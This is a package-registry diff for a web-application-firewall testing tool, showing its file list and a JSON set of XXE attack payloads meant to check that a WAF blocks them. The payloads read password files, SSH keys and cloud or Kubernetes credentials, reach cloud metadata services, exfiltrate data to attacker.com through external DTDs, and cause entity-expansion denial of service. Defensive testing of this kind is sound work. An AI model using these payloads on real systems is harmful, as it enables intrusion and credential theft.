@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,716 @@
1
+ [
2
+ {
3
+ "id": "INJ-XXE-380",
4
+ "payload": "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>",
5
+ "tags": [
6
+ "xxe",
7
+ "file-read",
8
+ "quick"
9
+ ],
10
+ "expected_block": true,
11
+ "severity_hint": "Critical",
12
+ "notes": "XXE - read /etc/passwd via external entity",
13
+ "category": "Injection"
14
+ },
15
+ {
16
+ "id": "INJ-XXE-381",
17
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/shadow\">]><foo>&xxe;</foo>",
18
+ "tags": [
19
+ "xxe",
20
+ "file-read",
21
+ "sensitive"
22
+ ],
23
+ "expected_block": true,
24
+ "severity_hint": "Critical",
25
+ "notes": "XXE - read /etc/shadow (password hashes)",
26
+ "category": "Injection"
27
+ },
28
+ {
29
+ "id": "INJ-XXE-382",
30
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://internal.server/admin\">]><foo>&xxe;</foo>",
31
+ "tags": [
32
+ "xxe",
33
+ "ssrf"
34
+ ],
35
+ "expected_block": true,
36
+ "severity_hint": "Critical",
37
+ "notes": "XXE SSRF - access internal HTTP server",
38
+ "category": "Injection"
39
+ },
40
+ {
41
+ "id": "INJ-XXE-383",
42
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=/etc/passwd\">]><foo>&xxe;</foo>",
43
+ "tags": [
44
+ "xxe",
45
+ "file-read",
46
+ "php",
47
+ "encoded"
48
+ ],
49
+ "expected_block": true,
50
+ "severity_hint": "Critical",
51
+ "notes": "XXE PHP filter wrapper - base64 encoded file read",
52
+ "category": "Injection"
53
+ },
54
+ {
55
+ "id": "INJ-XXE-384",
56
+ "payload": "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"http://attacker.com/evil.dtd\"> %xxe;]>",
57
+ "tags": [
58
+ "xxe",
59
+ "external-dtd"
60
+ ],
61
+ "expected_block": true,
62
+ "severity_hint": "Critical",
63
+ "notes": "XXE - load external DTD (out-of-band exfiltration)",
64
+ "category": "Injection"
65
+ },
66
+ {
67
+ "id": "INJ-XXE-385",
68
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///c:/windows/win.ini\">]><foo>&xxe;</foo>",
69
+ "tags": [
70
+ "xxe",
71
+ "file-read",
72
+ "windows"
73
+ ],
74
+ "expected_block": true,
75
+ "severity_hint": "Critical",
76
+ "notes": "XXE Windows - read win.ini system file",
77
+ "category": "Injection"
78
+ },
79
+ {
80
+ "id": "INJ-XXE-386",
81
+ "payload": "<!DOCTYPE data [<!ENTITY a0 \"dos\" ><!ENTITY a1 \"&a0;&a0;&a0;&a0;&a0;\"><!ENTITY a2 \"&a1;&a1;&a1;&a1;&a1;\">]><data>&a2;</data>",
82
+ "tags": [
83
+ "xxe",
84
+ "dos",
85
+ "billion-laughs"
86
+ ],
87
+ "expected_block": true,
88
+ "severity_hint": "High",
89
+ "notes": "XXE Billion Laughs - exponential entity expansion DoS",
90
+ "category": "Injection"
91
+ },
92
+ {
93
+ "id": "INJ-XXE-387",
94
+ "payload": "<?xml version=\"1.0\"?><!DOCTYPE lolz [<!ENTITY lol \"lol\"><!ENTITY lol1 \"&lol;&lol;&lol;&lol;\"><!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;\"><!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;\">]><lolz>&lol3;</lolz>",
95
+ "tags": [
96
+ "xxe",
97
+ "dos",
98
+ "entity-expansion"
99
+ ],
100
+ "expected_block": true,
101
+ "severity_hint": "High",
102
+ "notes": "XXE recursive entity expansion - memory exhaustion",
103
+ "category": "Injection"
104
+ },
105
+ {
106
+ "id": "INJ-XXE-388",
107
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"expect://id\">]><foo>&xxe;</foo>",
108
+ "tags": [
109
+ "xxe",
110
+ "rce",
111
+ "expect"
112
+ ],
113
+ "expected_block": true,
114
+ "severity_hint": "Critical",
115
+ "notes": "XXE expect:// protocol - remote code execution (if enabled)",
116
+ "category": "Injection"
117
+ },
118
+ {
119
+ "id": "INJ-XXE-389",
120
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"data://text/plain;base64,SGVsbG8gV29ybGQ=\">]><foo>&xxe;</foo>",
121
+ "tags": [
122
+ "xxe",
123
+ "data-uri"
124
+ ],
125
+ "expected_block": true,
126
+ "severity_hint": "High",
127
+ "notes": "XXE data:// URI - inline data injection",
128
+ "category": "Injection"
129
+ },
130
+ {
131
+ "id": "INJ-XXE-390",
132
+ "payload": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///dev/random\">]><foo>&xxe;</foo>",
133
+ "tags": [
134
+ "xxe",
135
+ "dos"
136
+ ],
137
+ "expected_block": true,
138
+ "severity_hint": "High",
139
+ "notes": "XXE /dev/random read - DoS via infinite random data",
140
+ "category": "Injection"
141
+ },
142
+ {
143
+ "id": "INJ-XXE-391",
144
+ "payload": "<!DOCTYPE foo [<!ENTITY % file SYSTEM \"file:///etc/passwd\"><!ENTITY % dtd SYSTEM \"http://attacker.com/evil.dtd\">%dtd;]>",
145
+ "tags": [
146
+ "xxe",
147
+ "parameter-entity",
148
+ "blind"
149
+ ],
150
+ "expected_block": true,
151
+ "severity_hint": "Critical",
152
+ "notes": "Blind XXE with parameter entities - out-of-band exfiltration",
153
+ "category": "Injection"
154
+ },
155
+ {
156
+ "id": "INJ-XXE-392",
157
+ "payload": "<foo xmlns:xi=\"http://www.w3.org/2001/XInclude\"><xi:include href=\"file:///etc/passwd\"/></foo>",
158
+ "tags": [
159
+ "xxe",
160
+ "xinclude"
161
+ ],
162
+ "expected_block": true,
163
+ "severity_hint": "Critical",
164
+ "notes": "XXE via XInclude - file read without DOCTYPE",
165
+ "category": "Injection"
166
+ },
167
+ {
168
+ "id": "INJ-XXE-393",
169
+ "payload": "<!DOCTYPE foo [<!ENTITY % remote SYSTEM \"jar:http://attacker.com/evil.jar!/\">%remote;]>",
170
+ "tags": [
171
+ "xxe",
172
+ "jar-protocol",
173
+ "java"
174
+ ],
175
+ "expected_block": true,
176
+ "severity_hint": "Critical",
177
+ "notes": "XXE jar:// protocol - Java-specific exploitation",
178
+ "category": "Injection"
179
+ },
180
+ {
181
+ "id": "INJ-XXE-394",
182
+ "payload": "<?xml version=\"1.0\"?><!DOCTYPE foo SYSTEM \"http://169.254.169.254/latest/meta-data/\"><foo/>",
183
+ "tags": [
184
+ "xxe",
185
+ "ssrf",
186
+ "aws-metadata"
187
+ ],
188
+ "expected_block": true,
189
+ "severity_hint": "Critical",
190
+ "notes": "XXE SSRF to AWS metadata service",
191
+ "category": "Injection"
192
+ },
193
+ {
194
+ "id": "INJ-XXE-395",
195
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///proc/self/environ\">]><foo>&xxe;</foo>",
196
+ "tags": [
197
+ "xxe",
198
+ "file-read",
199
+ "env-vars"
200
+ ],
201
+ "expected_block": true,
202
+ "severity_hint": "Critical",
203
+ "notes": "XXE read process environment variables",
204
+ "category": "Injection"
205
+ },
206
+ {
207
+ "id": "INJ-XXE-396",
208
+ "payload": "<?xml version=\"1.0\" encoding=\"UTF-7\"?>+ADw-foo+AD4-test+ADw-/foo+AD4-",
209
+ "tags": [
210
+ "xxe",
211
+ "encoding",
212
+ "utf7"
213
+ ],
214
+ "expected_block": true,
215
+ "severity_hint": "High",
216
+ "notes": "XXE UTF-7 encoding bypass",
217
+ "category": "Injection"
218
+ },
219
+ {
220
+ "id": "INJ-XXE-397",
221
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"netdoc:///etc/passwd\">]><foo>&xxe;</foo>",
222
+ "tags": [
223
+ "xxe",
224
+ "netdoc-protocol"
225
+ ],
226
+ "expected_block": true,
227
+ "severity_hint": "Critical",
228
+ "notes": "XXE netdoc:// protocol (Java) - file read",
229
+ "category": "Injection"
230
+ },
231
+ {
232
+ "id": "INJ-XXE-398",
233
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"gopher://localhost:11211/_stats\">]><foo>&xxe;</foo>",
234
+ "tags": [
235
+ "xxe",
236
+ "ssrf",
237
+ "gopher"
238
+ ],
239
+ "expected_block": true,
240
+ "severity_hint": "Critical",
241
+ "notes": "XXE gopher:// protocol SSRF - memcached interaction",
242
+ "category": "Injection"
243
+ },
244
+ {
245
+ "id": "INJ-XXE-399",
246
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/hostname\">]><foo>&xxe;</foo>",
247
+ "tags": [
248
+ "xxe",
249
+ "file-read",
250
+ "recon"
251
+ ],
252
+ "expected_block": true,
253
+ "severity_hint": "High",
254
+ "notes": "XXE read hostname - infrastructure reconnaissance",
255
+ "category": "Injection"
256
+ },
257
+ {
258
+ "id": "INJ-XXE-400",
259
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://169.254.169.254/latest/meta-data/\">]><foo>&xxe;</foo>",
260
+ "tags": ["xxe", "ssrf", "aws", "cloud"],
261
+ "expected_block": true,
262
+ "severity_hint": "Critical",
263
+ "notes": "XXE AWS metadata SSRF",
264
+ "category": "Injection"
265
+ },
266
+ {
267
+ "id": "INJ-XXE-401",
268
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\">]><foo>&xxe;</foo>",
269
+ "tags": ["xxe", "ssrf", "aws", "iam"],
270
+ "expected_block": true,
271
+ "severity_hint": "Critical",
272
+ "notes": "XXE AWS IAM credentials via SSRF",
273
+ "category": "Injection"
274
+ },
275
+ {
276
+ "id": "INJ-XXE-402",
277
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://metadata.google.internal/computeMetadata/v1/\">]><foo>&xxe;</foo>",
278
+ "tags": ["xxe", "ssrf", "gcp", "cloud"],
279
+ "expected_block": true,
280
+ "severity_hint": "Critical",
281
+ "notes": "XXE GCP metadata SSRF",
282
+ "category": "Injection"
283
+ },
284
+ {
285
+ "id": "INJ-XXE-403",
286
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://169.254.169.254/metadata/instance\">]><foo>&xxe;</foo>",
287
+ "tags": ["xxe", "ssrf", "azure", "cloud"],
288
+ "expected_block": true,
289
+ "severity_hint": "Critical",
290
+ "notes": "XXE Azure metadata SSRF",
291
+ "category": "Injection"
292
+ },
293
+ {
294
+ "id": "INJ-XXE-404",
295
+ "payload": "<?xml version=\"1.0\" encoding=\"UTF-16\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>",
296
+ "tags": ["xxe", "encoding", "utf16"],
297
+ "expected_block": true,
298
+ "severity_hint": "Critical",
299
+ "notes": "XXE with UTF-16 encoding",
300
+ "category": "Injection"
301
+ },
302
+ {
303
+ "id": "INJ-XXE-405",
304
+ "payload": "<!DOCTYPE foo SYSTEM \"http://attacker.com/evil.dtd\"><foo/>",
305
+ "tags": ["xxe", "external-dtd", "remote"],
306
+ "expected_block": true,
307
+ "severity_hint": "Critical",
308
+ "notes": "XXE external DTD load",
309
+ "category": "Injection"
310
+ },
311
+ {
312
+ "id": "INJ-XXE-406",
313
+ "payload": "<!DOCTYPE :foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><:foo>&xxe;</:foo>",
314
+ "tags": ["xxe", "namespace", "bypass"],
315
+ "expected_block": true,
316
+ "severity_hint": "Critical",
317
+ "notes": "XXE namespace prefix bypass",
318
+ "category": "Injection"
319
+ },
320
+ {
321
+ "id": "INJ-XXE-407",
322
+ "payload": "<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \"file:///proc/self/environ\">]><foo>&xxe;</foo>",
323
+ "tags": ["xxe", "proc", "env-vars"],
324
+ "expected_block": true,
325
+ "severity_hint": "Critical",
326
+ "notes": "XXE read process environment",
327
+ "category": "Injection"
328
+ },
329
+ {
330
+ "id": "INJ-XXE-408",
331
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///proc/self/cmdline\">]><foo>&xxe;</foo>",
332
+ "tags": ["xxe", "proc", "recon"],
333
+ "expected_block": true,
334
+ "severity_hint": "High",
335
+ "notes": "XXE read process cmdline",
336
+ "category": "Injection"
337
+ },
338
+ {
339
+ "id": "INJ-XXE-409",
340
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///root/.ssh/id_rsa\">]><foo>&xxe;</foo>",
341
+ "tags": ["xxe", "ssh-key", "critical"],
342
+ "expected_block": true,
343
+ "severity_hint": "Critical",
344
+ "notes": "XXE read SSH private key",
345
+ "category": "Injection"
346
+ },
347
+ {
348
+ "id": "INJ-XXE-410",
349
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///root/.aws/credentials\">]><foo>&xxe;</foo>",
350
+ "tags": ["xxe", "aws", "credentials"],
351
+ "expected_block": true,
352
+ "severity_hint": "Critical",
353
+ "notes": "XXE read AWS credentials file",
354
+ "category": "Injection"
355
+ },
356
+ {
357
+ "id": "INJ-XXE-411",
358
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///.docker/config.json\">]><foo>&xxe;</foo>",
359
+ "tags": ["xxe", "docker", "credentials"],
360
+ "expected_block": true,
361
+ "severity_hint": "Critical",
362
+ "notes": "XXE read Docker credentials",
363
+ "category": "Injection"
364
+ },
365
+ {
366
+ "id": "INJ-XXE-412",
367
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"jar:file:///app.war!/WEB-INF/web.xml\">]><foo>&xxe;</foo>",
368
+ "tags": ["xxe", "jar", "java"],
369
+ "expected_block": true,
370
+ "severity_hint": "Critical",
371
+ "notes": "XXE JAR protocol file read",
372
+ "category": "Injection"
373
+ },
374
+ {
375
+ "id": "INJ-XXE-413",
376
+ "payload": "<!DOCTYPE foo [<!ENTITY % a \"<!ENTITY xxe SYSTEM 'file:///etc/passwd'>\">%a;]><foo>&xxe;</foo>",
377
+ "tags": ["xxe", "nested-entity"],
378
+ "expected_block": true,
379
+ "severity_hint": "Critical",
380
+ "notes": "XXE nested parameter entity",
381
+ "category": "Injection"
382
+ },
383
+ {
384
+ "id": "INJ-XXE-414",
385
+ "payload": "<xi:include xmlns:xi=\"http://www.w3.org/2001/XInclude\" parse=\"text\" href=\"file:///etc/passwd\"/>",
386
+ "tags": ["xinclude", "file-read"],
387
+ "expected_block": true,
388
+ "severity_hint": "Critical",
389
+ "notes": "XInclude file read attack",
390
+ "category": "Injection"
391
+ },
392
+ {
393
+ "id": "INJ-XXE-415",
394
+ "payload": "<?xml version=\"1.0\"?>\n<?xml-stylesheet type=\"text/xsl\" href=\"http://attacker.com/evil.xsl\"?>",
395
+ "tags": ["xxe", "xslt", "ssrf"],
396
+ "expected_block": true,
397
+ "severity_hint": "Critical",
398
+ "notes": "XXE via XSLT stylesheet",
399
+ "category": "Injection"
400
+ },
401
+ {
402
+ "id": "INJ-XXE-416",
403
+ "payload": "<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://attacker.com/evil.dtd\">",
404
+ "tags": ["xxe", "svg", "ssrf"],
405
+ "expected_block": true,
406
+ "severity_hint": "Critical",
407
+ "notes": "XXE via SVG DOCTYPE",
408
+ "category": "Injection"
409
+ },
410
+ {
411
+ "id": "INJ-XXE-417",
412
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"php://input\">]><foo>&xxe;</foo>",
413
+ "tags": ["xxe", "php", "input"],
414
+ "expected_block": true,
415
+ "severity_hint": "Critical",
416
+ "notes": "XXE PHP input wrapper",
417
+ "category": "Injection"
418
+ },
419
+ {
420
+ "id": "INJ-XXE-418",
421
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"phar://./app.phar\">]><foo>&xxe;</foo>",
422
+ "tags": ["xxe", "phar", "deserialization"],
423
+ "expected_block": true,
424
+ "severity_hint": "Critical",
425
+ "notes": "XXE PHAR deserialization",
426
+ "category": "Injection"
427
+ },
428
+ {
429
+ "id": "INJ-XXE-419",
430
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"compress.zlib://file:///etc/passwd\">]><foo>&xxe;</foo>",
431
+ "tags": ["xxe", "php", "compression"],
432
+ "expected_block": true,
433
+ "severity_hint": "Critical",
434
+ "notes": "XXE PHP zlib wrapper",
435
+ "category": "Injection"
436
+ },
437
+ {
438
+ "id": "INJ-XXE-420",
439
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"ftp://attacker.com/\">]><foo>&xxe;</foo>",
440
+ "tags": ["xxe", "ftp", "oob"],
441
+ "expected_block": true,
442
+ "severity_hint": "Critical",
443
+ "notes": "XXE FTP OOB exfiltration",
444
+ "category": "Injection"
445
+ },
446
+ {
447
+ "id": "INJ-XXE-421",
448
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"dict://localhost:11211/stat\">]><foo>&xxe;</foo>",
449
+ "tags": ["xxe", "dict", "ssrf"],
450
+ "expected_block": true,
451
+ "severity_hint": "Critical",
452
+ "notes": "XXE DICT protocol SSRF",
453
+ "category": "Injection"
454
+ },
455
+ {
456
+ "id": "INJ-XXE-422",
457
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"ldap://attacker.com/o=test\">]><foo>&xxe;</foo>",
458
+ "tags": ["xxe", "ldap", "ssrf"],
459
+ "expected_block": true,
460
+ "severity_hint": "Critical",
461
+ "notes": "XXE LDAP SSRF",
462
+ "category": "Injection"
463
+ },
464
+ {
465
+ "id": "INJ-XXE-423",
466
+ "payload": "<!DOCTYPE foo [<!ENTITY % local_dtd SYSTEM \"file:///usr/share/xml/fontconfig/fonts.dtd\">%local_dtd;]>",
467
+ "tags": ["xxe", "local-dtd", "bypass"],
468
+ "expected_block": true,
469
+ "severity_hint": "Critical",
470
+ "notes": "XXE local DTD inclusion",
471
+ "category": "Injection"
472
+ },
473
+ {
474
+ "id": "INJ-XXE-424",
475
+ "payload": "<!DOCTYPE message [<!ENTITY % sp SYSTEM \"http://attacker.com/xxe.dtd\">%sp;%param1;]>",
476
+ "tags": ["xxe", "blind", "oob"],
477
+ "expected_block": true,
478
+ "severity_hint": "Critical",
479
+ "notes": "XXE blind OOB exfiltration",
480
+ "category": "Injection"
481
+ },
482
+ {
483
+ "id": "INJ-XXE-425",
484
+ "payload": "<!DOCTYPE foo SYSTEM \"urn:publicid:IDN+example.com+DTD\"><foo/>",
485
+ "tags": ["xxe", "urn", "bypass"],
486
+ "expected_block": true,
487
+ "severity_hint": "High",
488
+ "notes": "XXE URN scheme bypass attempt",
489
+ "category": "Injection"
490
+ },
491
+ {
492
+ "id": "INJ-XXE-426",
493
+ "payload": "<?xml version=\"1.0\"?><!ENTITY % a SYSTEM \"file:///etc/passwd\"><!ENTITY b \"%a;\">",
494
+ "tags": ["xxe", "entity-expansion"],
495
+ "expected_block": true,
496
+ "severity_hint": "Critical",
497
+ "notes": "XXE entity expansion trick",
498
+ "category": "Injection"
499
+ },
500
+ {
501
+ "id": "INJ-XXE-427",
502
+ "payload": "<foo xmlns:xi=\"http://www.w3.org/2001/XInclude\"><xi:include href=\"http://attacker.com\" /></foo>",
503
+ "tags": ["xinclude", "ssrf"],
504
+ "expected_block": true,
505
+ "severity_hint": "Critical",
506
+ "notes": "XInclude remote SSRF",
507
+ "category": "Injection"
508
+ },
509
+ {
510
+ "id": "INJ-XXE-428",
511
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///var/run/secrets/kubernetes.io/serviceaccount/token\">]><foo>&xxe;</foo>",
512
+ "tags": ["xxe", "kubernetes", "token"],
513
+ "expected_block": true,
514
+ "severity_hint": "Critical",
515
+ "notes": "XXE Kubernetes service account token",
516
+ "category": "Injection"
517
+ },
518
+ {
519
+ "id": "INJ-XXE-429",
520
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt\">]><foo>&xxe;</foo>",
521
+ "tags": ["xxe", "kubernetes", "certificate"],
522
+ "expected_block": true,
523
+ "severity_hint": "Critical",
524
+ "notes": "XXE Kubernetes CA certificate",
525
+ "category": "Injection"
526
+ },
527
+ {
528
+ "id": "INJ-XXE-430",
529
+ "payload": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///app/.env\">]><foo>&xxe;</foo>",
530
+ "tags": ["xxe", "dotenv", "secrets"],
531
+ "expected_block": true,
532
+ "severity_hint": "Critical",
533
+ "notes": "XXE read .env secrets file",
534
+ "category": "Injection"
535
+ },
536
+ {
537
+ "id": "INJ-XXE-431",
538
+ "payload": "<!DOCTYPE data [<!ENTITY a0 \"dos\"><!ENTITY a1 \"&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;\"><!ENTITY a2 \"&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;\"><!ENTITY a3 \"&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;\"><!ENTITY a4 \"&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;\">]><data>&a4;</data>",
539
+ "tags": ["xxe", "dos", "billion-laughs"],
540
+ "expected_block": true,
541
+ "severity_hint": "Critical",
542
